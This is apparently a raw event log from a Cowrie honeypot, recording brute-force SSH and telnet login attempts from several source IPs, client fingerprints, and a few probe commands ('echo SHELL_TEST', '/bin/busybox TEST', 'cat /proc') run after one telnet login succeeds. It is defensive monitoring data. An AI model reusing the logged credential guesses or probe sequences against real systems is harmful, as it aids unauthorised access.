{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:20.462243Z","src_ip":"180.178.94.210","session":"66f010cc83bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":48264,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6972d7ad5a1","protocol":"ssh","message":"New connection: 180.178.94.210:48264 (159.203.135.109:22) [session: c6972d7ad5a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:20.721674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:20.726717Z","src_ip":"180.178.94.210","session":"c6972d7ad5a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:21.004479Z","src_ip":"180.178.94.210","session":"c6972d7ad5a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.39682412147522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:21.865136Z","src_ip":"69.4.83.194","session":"01a35afa28ad","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:22.127619Z","src_ip":"180.178.94.210","session":"c6972d7ad5a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:23.406764Z","src_ip":"180.178.94.210","session":"c6972d7ad5a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":48268,"dst_ip":"159.203.135.109","dst_port":22,"session":"6038c55fb966","protocol":"ssh","message":"New connection: 180.178.94.210:48268 (159.203.135.109:22) [session: 6038c55fb966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:23.659102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:23.665333Z","src_ip":"180.178.94.210","session":"6038c55fb966","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:23.938612Z","src_ip":"180.178.94.210","session":"6038c55fb966","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:25.009490Z","src_ip":"180.178.94.210","session":"6038c55fb966","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:25.275534Z","src_ip":"180.178.94.210","session":"6038c55fb966","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:25.281808Z","src_ip":"180.178.94.210","session":"66f010cc83bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.183.120.56","src_port":45882,"dst_ip":"159.203.135.109","dst_port":22,"session":"49ca7a38773d","protocol":"ssh","message":"New connection: 213.183.120.56:45882 (159.203.135.109:22) [session: 49ca7a38773d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:31.370301Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.220","src_port":60230,"dst_ip":"159.203.135.109","dst_port":23,"session":"0861994a3b53","protocol":"telnet","message":"New connection: 176.65.139.220:60230 (159.203.135.109:23) [session: 0861994a3b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:38.711404Z"}
{"eventid":"cowrie.session.closed","duration":0.023242473602294922,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:38.734529Z","src_ip":"176.65.139.220","session":"0861994a3b53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.220","src_port":60238,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dd8b67e69d4","protocol":"telnet","message":"New connection: 176.65.139.220:60238 (159.203.135.109:23) [session: 5dd8b67e69d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:38.813208Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:39.582926Z","src_ip":"176.65.139.220","session":"5dd8b67e69d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":57732,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ede1e1c6b81","protocol":"ssh","message":"New connection: 194.113.233.25:57732 (10.17.0.5:22) [session: 3ede1e1c6b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:39.783511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:39.788503Z","src_ip":"194.113.233.25","session":"3ede1e1c6b81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:39.872350Z","src_ip":"194.113.233.25","session":"3ede1e1c6b81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678f","message":"login attempt [root/12345678f] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:40.126384Z","src_ip":"194.113.233.25","session":"3ede1e1c6b81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.769587755203247,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:40.582701Z","src_ip":"176.65.139.220","session":"5dd8b67e69d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.220","src_port":60248,"dst_ip":"159.203.135.109","dst_port":23,"session":"93948fec5f2c","protocol":"telnet","message":"New connection: 176.65.139.220:60248 (159.203.135.109:23) [session: 93948fec5f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:41.015032Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:41.211670Z","src_ip":"194.113.233.25","session":"3ede1e1c6b81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:41.760046Z","src_ip":"176.65.139.220","session":"93948fec5f2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.65.220","src_port":50578,"dst_ip":"159.203.135.109","dst_port":22,"session":"21083eff0ab2","protocol":"ssh","message":"New connection: 43.133.65.220:50578 (159.203.135.109:22) [session: 21083eff0ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:42.000497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:42.005014Z","src_ip":"43.133.65.220","session":"21083eff0ab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:42.224988Z","src_ip":"43.133.65.220","session":"21083eff0ab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.9167494773864746,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:42.931669Z","src_ip":"176.65.139.220","session":"93948fec5f2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.220","src_port":60260,"dst_ip":"159.203.135.109","dst_port":23,"session":"e865ca96c43a","protocol":"telnet","message":"New connection: 176.65.139.220:60260 (159.203.135.109:23) [session: e865ca96c43a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:43.012140Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"qwer1234","message":"login attempt [mysql/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:43.123224Z","src_ip":"43.133.65.220","session":"21083eff0ab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":44692,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8397b2e638a","protocol":"ssh","message":"New connection: 101.79.165.133:44692 (159.203.135.109:22) [session: e8397b2e638a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:43.258219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:43.263065Z","src_ip":"101.79.165.133","session":"e8397b2e638a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:43.478585Z","src_ip":"101.79.165.133","session":"e8397b2e638a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:43.876432Z","src_ip":"176.65.139.220","session":"e865ca96c43a","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:43.920968Z","src_ip":"176.65.139.220","session":"e865ca96c43a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:44.342084Z","src_ip":"43.133.65.220","session":"21083eff0ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000","message":"login attempt [root/000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:44.371910Z","src_ip":"101.79.165.133","session":"e8397b2e638a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54876,"dst_ip":"159.203.135.109","dst_port":23,"session":"45d18d4eb08e","protocol":"telnet","message":"New connection: 69.4.83.194:54876 (159.203.135.109:23) [session: 45d18d4eb08e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:44.756393Z"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:44.876892Z","src_ip":"176.65.139.220","session":"e865ca96c43a","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:45.377612Z","src_ip":"176.65.139.220","session":"e865ca96c43a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:45.597071Z","src_ip":"101.79.165.133","session":"e8397b2e638a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":56910,"dst_ip":"159.203.135.109","dst_port":22,"session":"e76479b34681","protocol":"ssh","message":"New connection: 109.172.54.111:56910 (159.203.135.109:22) [session: e76479b34681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:45.641101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:45.646564Z","src_ip":"109.172.54.111","session":"e76479b34681","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:45.748664Z","src_ip":"109.172.54.111","session":"e76479b34681","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:45.977473Z","src_ip":"176.65.139.220","session":"e865ca96c43a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"adsl120","message":"login attempt [root/adsl120] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:46.042742Z","src_ip":"109.172.54.111","session":"e76479b34681","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:46.659256Z","src_ip":"176.65.139.220","session":"e865ca96c43a","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:46.663438Z","src_ip":"176.65.139.220","session":"e865ca96c43a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:47.142783Z","src_ip":"109.172.54.111","session":"e76479b34681","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.4","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:47.286692Z","src_ip":"176.65.139.220","session":"e865ca96c43a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.286020755767822,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:47.298058Z","src_ip":"176.65.139.220","session":"e865ca96c43a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":32776,"dst_ip":"159.203.135.109","dst_port":22,"session":"d971998fc70e","protocol":"ssh","message":"New connection: 176.32.39.21:32776 (159.203.135.109:22) [session: d971998fc70e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:51.147531Z"}
